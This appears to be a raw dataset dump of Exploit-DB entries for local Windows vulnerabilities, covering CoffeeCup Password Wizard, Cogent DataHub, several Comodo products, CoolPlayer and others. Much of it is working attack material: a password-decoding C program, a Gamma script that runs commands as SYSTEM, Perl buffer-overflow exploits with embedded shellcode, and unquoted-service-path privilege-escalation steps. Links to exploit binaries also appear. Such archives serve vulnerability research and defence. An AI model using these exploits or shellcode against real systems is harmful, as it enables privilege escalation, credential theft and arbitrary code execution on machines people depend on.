deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22329
Description: CoffeeCup Software Password Wizard 4.0 - HTML Source Password Retrieval
Type: local
Platform: windows
Date: 2003-03-03
Author: THR

Exploit:
// source: https://www.securityfocus.com/bid/7023/info

A problem with the software may make it possible for remote users to gain unauthorized access to restricted resources.

This vulnerability exists in Password Wizard configured to generate Java applets to password protect pages. Specifically, the authentication credentials are stored in the HTML code. The credentials may be encrypted using an algorithm that can be cracked by an attacker.

An attacker can simply view the HTML source code to obtain authentication credentials.



// Exploit for Coffee Cup Password Wizard 
// By THR (admin@swesign.com)

#include <stdio.h>
#include <stdlib.h>

int main(void) {
	char *passwd, *uname, *url, *target;
	char param[] = "6|4|36|0|cftzmapuxnrsjibgwykqvleodhlfegvwcwlczccg://qqq.axbbwwahg.axe/enyyvw.zcev"; 
	char enc[1024];
	char dec[1024];
	char tmp[5];
	int size[3];
	int a=0,x=0,y=0,z=0;
	while(param[x]) {
		if(y<=3) {
			if(param[x]=='|') {
				tmp[a]=0;
				a=0;
				size[y]=atoi(tmp);
				y++;
			} else {
				tmp[a]=param[x];
				a++;
			}
		} else {
			enc[z]=param[x];
			z++;
		}
		x++;
	}
	enc[z]=0;
	x=0;
	while(enc[x]) {
		if(enc[x]>=65 && enc[x]<=90)
			dec[x]=enc[enc[x]-39];
		else
			if(enc[x]>=97 && enc[x]<=122)
				dec[x]=enc[enc[x]-97];
			else
				dec[x]=enc[x];
		x++;
	}
	dec[x]=0;
	if (!(uname = (char*) malloc((size[0]+1) * sizeof(char))) ||
		!(passwd = (char*) malloc((size[1]+1) * sizeof(char))) ||
		!(url = (char*) malloc((size[2]+1) * sizeof(char))) ||
		!(target = (char*) malloc((size[3]+1) * sizeof(char)))) {
		printf("Memory error\n");
		return(1);
	}
	y=0;
	z=26;
	for(x=z,y=0;x<size[0]+z;x++,y++)
		uname[y]=dec[x];
	uname[y]=0;
	z+=size[0];
	for(x=z,y=0;x<size[1]+z;x++,y++)
		passwd[y]=dec[x];
	passwd[y]=0;
	z+=size[1];
	for(x=z,y=0;x<size[2]+z;x++,y++)
		url[y]=dec[x];
	url[y]=0;
	z+=size[2];
	for(x=z,y=0;x<size[3]+z;x++,y++)
		target[y]=dec[x];
	target[y]=0;

	printf ("User: \t\t%s\nPassword: \t%s\nLink: \t\t%s\nTarget: \t%s\n",uname, passwd, url, target); 

	free (passwd);
	free (uname);
	free (url);
	free (target);
	return(0);
}
Exploit-DB #39630
Description: Cogent Datahub 7.3.9 Gamma Script - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-03-28
Author: mr_me

Exploit:
/*

# Exploit Title: Cogent Datahub <= 7.3.9 Gamma Script Elevation of Privilege Vulnerability
# Google Dork: lol
# Date: 28/3/2016
# Exploit Author: mr_me
# Vendor Homepage: http://www.cogentdatahub.com/
# Software Link: http://www.cogentdatahub.com/Contact_Form.html
# Version: <= 7.3.9
# Tested on: Windows 7 x86
# CVE : CVE‑2016-2288

sha1sum: c1806faf0225d0c7f96848cb9799b15f8b249792  CogentDataHub-7.3.9-150902-Windows.exe
Advsiory: https://ics-cert.us-cert.gov/advisories/ICSA-16-084-01

Timeline:
=========
- 02/12/2015 : vuln found, case opened to the zdi
- 09/02/2016 : case rejected (not interested in this vuln due to vector)
- 26/02/2016 : reported to ICS-CERT
- 24/03/2016 : advisory released

Notes:
======
- to reach SYSTEM, the service needs to be installed via the Service Manager
- the service doesnt need to be installed, as long as 'C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe' has been executed by a privileged user
- an attacker does NOT need to restart the machine or the service in order to EP, the service just polls for the Gamma Script

Exploitation:
=============

As a Guest user (or low privileged user) save this file as 'WebstreamSupport.g' into C:\usr\cogent\require\ and enjoy the free SYSTEM calcs. Most OS's dont allow
a write into c:\ as guest, but we are in the SCADA world. Anything is possible.

C:\Users\steven>sc qc "Cogent DataHub"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Cogent DataHub
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files\Cogent\Cogent DataHub\CogentDataHubV7.exe" -H "C:\Users\steven\AppData\Roaming\Cogent DataHub"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Cogent DataHub
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\Users\steven>
*/

require ("Application");
require ("AsyncRun");				// thanks to our friends @ Cogent

class WebstreamSupport Application
{

}

method WebstreamSupport.constructor ()
{
	RunCommandAsync(nil, nil, "cmd.exe /c calc", "c:\\");
}

Webstream = ApplicationSingleton (WebstreamSupport);
Exploit-DB #40473
Description: Comodo Chromodo Browser - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-06
Author: Th3GundY

Exploit:
# Exploit Title: Comodo Chromodo Browser Unquoted Service Path Privilege Escalation
# Date: 03/10/2016
# Author: Yunus YILDIRIM (@Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH)
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Category: local
# Vendor Homepage: https://www.comodo.com
# Software Link: https://www.comodo.com/home/browsers-toolbars/chromodo-private-internet-browser.php
# Version: Software Version <= 52.15.25.664
# Tested on: Windows 7 x86/x64

1. Description

Comodo Chromodo Browser Update Service (ChromodoUpdater) installs as a service with 
an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.


2. Proof of Concept

C:\>sc qc ChromodoUpdater
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: ChromodoUpdater
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Comodo\Chromodo\chromodo_updater.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : COMODO Chromodo Update Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

		
3. Exploit:
 
A successful attempt would require the local attacker must insert an executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.


Additional notes :

Fixed in version 52.15.25.665
https://forums.comodo.com/news-announcements-feedback-cd/chromodo-v521525665-is-now-available-for-download-t116787.0.html

Vulnerability Disclosure Timeline:
=========================
03/10/2016   -   Contact With Vendor
03/10/2016   -   Vendor Response
05/10/2016   -   Release Fixed Version
Exploit-DB #40471
Description: Comodo Dragon Browser - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-06
Author: Th3GundY

Exploit:
# Exploit Title: Comodo Dragon Browser Unquoted Service Path Privilege Escalation
# Date: 24/09/2016
# Author: Yunus YILDIRIM (@Th3GundY)
# Team: CT-Zer0 (@CRYPTTECH)
# Website: http://yildirimyunus.com
# Contact: yunusyildirim@protonmail.com
# Category: local
# Vendor Homepage: https://www.comodo.com
# Software Link: https://www.comodo.com/home/browsers-toolbars/browser.php
# Version: Software Version <= 52.15.25.663
# Tested on: Windows 7 x86/x64

1. Description

Comodo Dragon Browser Update Service (DragonUpdater) installs as a service with 
an unquoted service path running with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.


2. Proof of Concept

C:\>sc qc DragonUpdater
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: DragonUpdater
        TYPE               : 10  WIN32_OWN_PROCESS 	
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Comodo\Dragon\dragon_updater.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : COMODO Dragon Update Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem	


3. Exploit:
 
A successful attempt would require the local attacker must insert an executable file
in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.


Additional notes :

Fixed in version 52.15.25.664
https://forums.comodo.com/news-announcements-feedback-cd/comodo-dragon-v521525664-is-now-available-for-download-t116786.0.html

Vulnerability Disclosure Timeline:
=========================
24/09/2016   -   Contact With Vendor
26/09/2016   -   Vendor Response
03/10/2016   -   Release Fixed Version
Exploit-DB #29603
Description: Comodo Firewall 2.3/2.4 - Flawed Component Control Cryptographic Hash
Type: local
Platform: windows
Date: 2007-02-15
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/22570/info

Comodo Firewall is prone to a design error in its cryptographic hashing function for component controls.

Exploiting this flaw permits attackers to bypass the application's component controls. The application keeps a list of process-module checksums for allowed components. Due to the improper use of a cyclic redundancy check, rather than a cryptographic hash function in developing module checksums, an attacker can trivially insert a malicious control with the same CRC as a trusted component.

Comodo Firewall Pro 2.4.17.183 and 2.4.16.174 and Comodo Personal Firewall 2.3.6.81 are vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29603.zip
Exploit-DB #29695
Description: Comodo Firewall Pro 2.4.x - Local Protection Mechanism Bypass
Type: local
Platform: windows
Date: 2007-03-01
Author: Matousec Transparent security

Exploit:
source: https://www.securityfocus.com/bid/22775/info

Comodo Firewall Pro is prone to a protection-mechanism-bypass vulnerability.

Exploiting this issue allows local attackers to bypass protection mechanisms implemented to restrict access to altering the firewall's configuration settings. This allows them to disable the firewall, aiding them in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29695.zip
Exploit-DB #37065
Description: Comodo GeekBuddy < 4.18.121 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2015-05-20
Author: Jeremy Brown

Exploit:
Comodo GeekBuddy Local Privilege Escalation (CVE-2014-7872)

Jeremy Brown [jbrown3264/gmail]

-Synopsis-

Comodo GeekBuddy, which is bundled with Comodo Anti-Virus, Comodo Firewall
and Comodo Internet Security, runs a passwordless, background VNC server
and listens for incoming connections. This can allow for at least local
privilege escalation on several platforms. It also may be remotely
exploitable via CSRF-like attacks utilizing a modified web-based VNC client
(eg. a Java VNC client).

-Repro-

1) Install GeekBuddy (either standalone or bundled with the aforementioned
packages)
2) Administrator (or other user) logs into the system so the VNC server
will be started
3) Start another login to the system (eg. target OS is Windows Server)
4) Connect to the VNC server on localhost to assume the Admin session

-Fix-

Comodo says they have fix this vulnerability with the v4.18.121 release in
October 2014

-References-

https://technet.microsoft.com/en-US/dn613815
http://archive.hack.lu/2014/Microsoft%20Vulnerability%20Research%20-%20How%20to%20be%20a%20Finder%20as%20a%20Vendor.pdf
Exploit-DB #34648
Description: Comodo Internet Security - HIPS/Sandbox Escape
Type: local
Platform: windows
Date: 2014-09-13
Author: Joxean Koret

Exploit:
Exploit: http://www.joxeankoret.com/download/comodo_sandbox_escape/sandbox_test1.tar.gz
Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34648.tar.gz (sandbox_test1.tar.gz)

Video: http://www.joxeankoret.com/download/comodo_sandbox_escape/video/sandbox_escape1.htm
Exploit-DB #39727
Description: CompuSource Systems Real Time Home Banking - Local Privilege Escalation
Type: local
Platform: windows
Date: 2016-04-25
Author: Information Paradox

Exploit:
# Exploit Title: CompuSource Systems - Real Time Home Banking - Local
Privilege Escalation/Arbitrary Code Execution
# Date: 2/25/16
# Exploit Author: singularitysec@gmail.com
# Vendor Homepage: https://www.css4cu.com
#                                   : https://www.css4cu.com/Next/InfoSide/SoftwareSolutions.php
# Version: CompuSource Systems - Real Time Home Banking
# Tested on: Windows 7
# CVE : TBD

Note: Windows Server 2003/2008/2012  *may* be vulnerable, depending on
system configuration.

This vulnerability has been reference checked against multiple installs.
This configuration was identical across all systems tested.

Executables/Services:

%SystemRoot%/css50/csdir/RealTimeHomeBankingSvc.exe
HomeBankingService

Attack Detail:
The application installs with LOCAL SYSTEM service credentials in the
directory %SystemRoot%/css50/csdir


The executables that are installed, by default, allow AUTHENTICATED USERS
to modify, replace or alter the file. This would allow an attacker to
inject their code or replace the executable and have it run in the context
of the system.


This would allow complete compromise of a machine on which it was
installed, giving the process LOCAL SYSTEM access to the machine in
question. An attacker can replace the file or append code to the
executable, reboot the system or restart the service and it would then
compromise the machine. As LOCAL SYSTEM is the highest privilege level on a
machine, this allows total control and access to all parts of the system.


Remediation:

Remove the modify/write permissions on the executables to allow only
privileged users to alter the files.
Apply vendor patch when distributed.

Vulnerability Discovered: 2/25/16

Vendor Notified: 2/25/16


Website: www.information-paradox.net
This vulnerability was discovered by singularitysec@gmail.com. Please
credit the author in all references to this exploit.
Exploit-DB #20012
Description: Computer Associates eTrust Intrusion Detection 1.4.1.13 - Weak Encryption
Type: local
Platform: windows
Date: 2000-06-07
Author: Phate.net

Exploit:
source: https://www.securityfocus.com/bid/1341/info

A weak encryption scheme exists in Computer Associates eTrust Intrusion Detection System (formerly known as SessionWall-3) password which authorizes users to view and configure the application's registry settings.

Provided that either a remote or local user has access to the registry, it is possible to decrypt the password into plaintext with the use of an exploit tool (sw3passw.exe) or through simple XORing techniques.

This password along with the key is stored in the following registry location:
HKEY_LOCAL_MACHINE\Software\ComputerAssociates\SessionWall\1.0\Security\AdminPassword

The first byte will be the length of the key (n), the next (n) bytes are the key, the remaining bytes are the encrypted password with the exception of the last byte which is a terminating null. 

20012-1.exe - Administrator password decryptor for Win 9x/NT.
20012-2.zip - Source code (use TASM). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20012-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20012-2.zip
Exploit-DB #49624
Description: Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-08
Author: Brian Rodriguez

Exploit:
# Exploit Title: Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://www.oki.com
# Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46226801&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6
# Tested Version: 1.6.53
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
OKI Local Port Manager OpLclSrv C:\Program
Files\Okidata\Common\extend3\portmgrsrv.exe               Auto

C:\>sc qc OpLclSrv [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO:
OpLclSrv TIPO: 10 WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 0 IGNORE NOMBRE_RUTA_BINARIO: C:\Program
Files\Okidata\Common\extend3\portmgrsrv.exe GRUPO_ORDEN_CARGA: ETIQUETA: 0
NOMBRE_MOSTRAR: OKI Local Port Manager DEPENDENCIAS:
NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #50764
Description: Connectify Hotspot 2018 'ConnectifyService' - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: SamAlucard

Exploit:
#Exploit Title: Connectify Hotspot 2018 'ConnectifyService' - Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2022-02-17
#Vendor : Connectify Inc
#Version : Connectify Hotspot 2018
#Vendor Homepage : https://www.connectify.me/
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc Connectify
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Connectify
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Connectify\ConnectifyService.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Connectify Hotspot 2018
        DEPENDENCIAS       : wlansvc
                           : winmgmt
                           : http
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #50690
Description: CONTPAQi(R) AdminPAQ 14.0.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-02
Author: Angel Canseco

Exploit:
# Exploit Title: CONTPAQi® AdminPAQ 14.0.0 - Unquoted Service Path
# Discovery by: Angel Canseco
# Discovery Date: 2022-01-16
# Software Link: https://www.contpaqi.com/descargas
# Tested Version: 14.0.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 pro x64 english
# Step to discover Unquoted Service Path:


C:\Users\test>wmic service get name, displayname, pathname, startmode |
findstr /i "Auto" | findstr /i "AppKeyLicenseServer_CONTPAQi"

Servidor de Licencias CONTPAQir    AppKeyLicenseServer_CONTPAQi
C:\Program Files (x86)\Compac\Servidor de
Licencias\AppkeyLicenseServer\AppKeyLicenseServer.exe        Auto

C:\Users\test>sc qc "AppKeyLicenseServer_CONTPAQi"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AppKeyLicenseServer_CONTPAQi
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Compac\Servidor de
Licencias\AppkeyLicenseServer\AppKeyLicenseServer.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Servidor de Licencias CONTPAQi®
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would cause the local user to be able to insert their
code in the system root path undetected by the OS or other security
applications and elevate his privileges after reboot.
Exploit-DB #51159
Description: CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path
Type: local
Platform: windows
Date: 2023-03-31
Author: Damian Semon Jr

Exploit:
# Exploit Title: CoolerMaster MasterPlus 1.8.5 - 'MPService' Unquoted Service Path
# Date: 11/17/2022
# Exploit Author: Damian Semon Jr (Blue Team Alpha)
# Version: 1.8.5
# Vendor Homepage: https://masterplus.coolermaster.com/
# Software Link: https://masterplus.coolermaster.com/
# Tested on: Windows 10 64x

# Step to discover the unquoted service path:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

CoolerMaster MasterPlus Technology Service	MPService	C:\Program Files (x86)\CoolerMaster\MasterPlus\MPService.exe	Auto

# Info on the service:
C:\>sc qc MPService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: MPService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\CoolerMaster\MasterPlus\MPService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CoolerMaster MasterPlus Technology Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            
            
#Exploit:
A successful exploit of this vulnerability could allow a threat actor to execute code during startup or reboot with System privileges. Drop payload "Program.exe" in C:\ and restart service or computer to trigger. 
Ex: (C:\Program.exe)
Exploit-DB #39594
Description: CoolPlayer (Standalone) build 2.19 - '.m3u' Local Stack Overflow
Type: local
Platform: windows
Date: 2016-03-22
Author: Charley Celice

Exploit:
# Exploit Title: CoolPlayer (Standalone) build 2.19 - .m3u Stack Overflow
# Date: 22-03-2016
# Software Link: https://sourceforge.net/projects/coolplayer/files/Coolplayer/219/CoolPlayer219_Bin.zip
# Exploit Author: Charley Celice (stmerry)
# Contact: https://twitter.com/charleycelice
#
# Credits: Yet another exploit code for Coolplayer (Standalone). Slightly modified version. 
# * https://www.exploit-db.com/search/?action=search&description=coolplayer
#
# Category: Exploits
# Tested on: Windows XP SP3 EN
# Details: Stack overflow. Overwrite the EIP and point to ESP (iertutil.dll) to execute shellcode (calc.exe)

my $file= "exploit.m3u";
my $junk= "\x41" x 248;
my $eip= "\x97\x51\x08\x3e"; # jmp esp - iertutil.dll
my $nops = "\x90" x 10;

# shellcode (XP SP3 calc.exe)
my $shell = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
 
open($FILE,">$file");
print $FILE $junk.$eip.$nops.$shell;
close($FILE);
print "done\n";
Exploit-DB #6157
Description: CoolPlayer 2.18 - '.m3u' File Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-07-29
Author: Guido Landi

Exploit:
#!/usr/bin/perl
# k`sOSe - 07/29/2008

use warnings;
use strict;

# http://www.metasploit.com
# EXITFUNC=seh, CMD=c:\WINDOWS\system32\calc.exe
# [*] x86/shikata_ga_nai succeeded, final size 169
my $shellcode = "\xd9\xca\xd9\x74\x24\xf4\x5e\xb8\xf5\x65\x2d\xfb\x31\xc9\xb1" .
		"\x24\x31\x46\x19\x83\xee\xfc\x03\x46\x15\x17\x90\xd1\x13\x93" .
		"\x5b\x2a\xe4\x90\x19\x16\x6f\xda\xa4\x1e\x6e\xcd\x2c\x91\x68" .
		"\x9a\x6c\x0e\x88\x77\xdb\xc5\xbe\x0c\xdd\x37\x8f\xd2\x47\x6b" .
		"\x74\x12\x03\x73\xb4\x58\xe1\x7a\xf4\xb7\x0e\x47\xac\x63\xeb" .
		"\xcd\xa9\xe0\xac\x09\x33\x1d\x34\xd9\x3f\xaa\x32\x82\x23\x2d" .
		"\xae\xb6\x40\xa6\x31\x22\xf1\xe4\x15\xb0\xc1\x4b\x67\x4e\xa5" .
		"\x25\xe3\x25\x60\xf9\x60\x79\x61\x72\x06\x66\xd4\x0f\x8f\x9e" .
		"\xaf\xf7\xd3\x5f\xc5\x57\xbc\xaf\x90\x53\x63\x38\x3d\xa5\x11" .
		"\xb6\x6a\xa6\xc1\xa4\xae\x04\x59\x62\x81\xf0\x2a\x23\x4e\xa4" . 
		"\xc7\xb2\x03\x20\x4d\x28\xd7\xfa\xd1\xd1\x76\x96\x8a\x3b\x1c" .
		"\x1e\x28\x44\xd4";

print	$shellcode	.
	"\x41" x (218 - length($shellcode)) .
	"\x32\x4c\x3c\x7e" ; # call ebx  user32.dll  winxp sp3

# milw0rm.com [2008-07-29]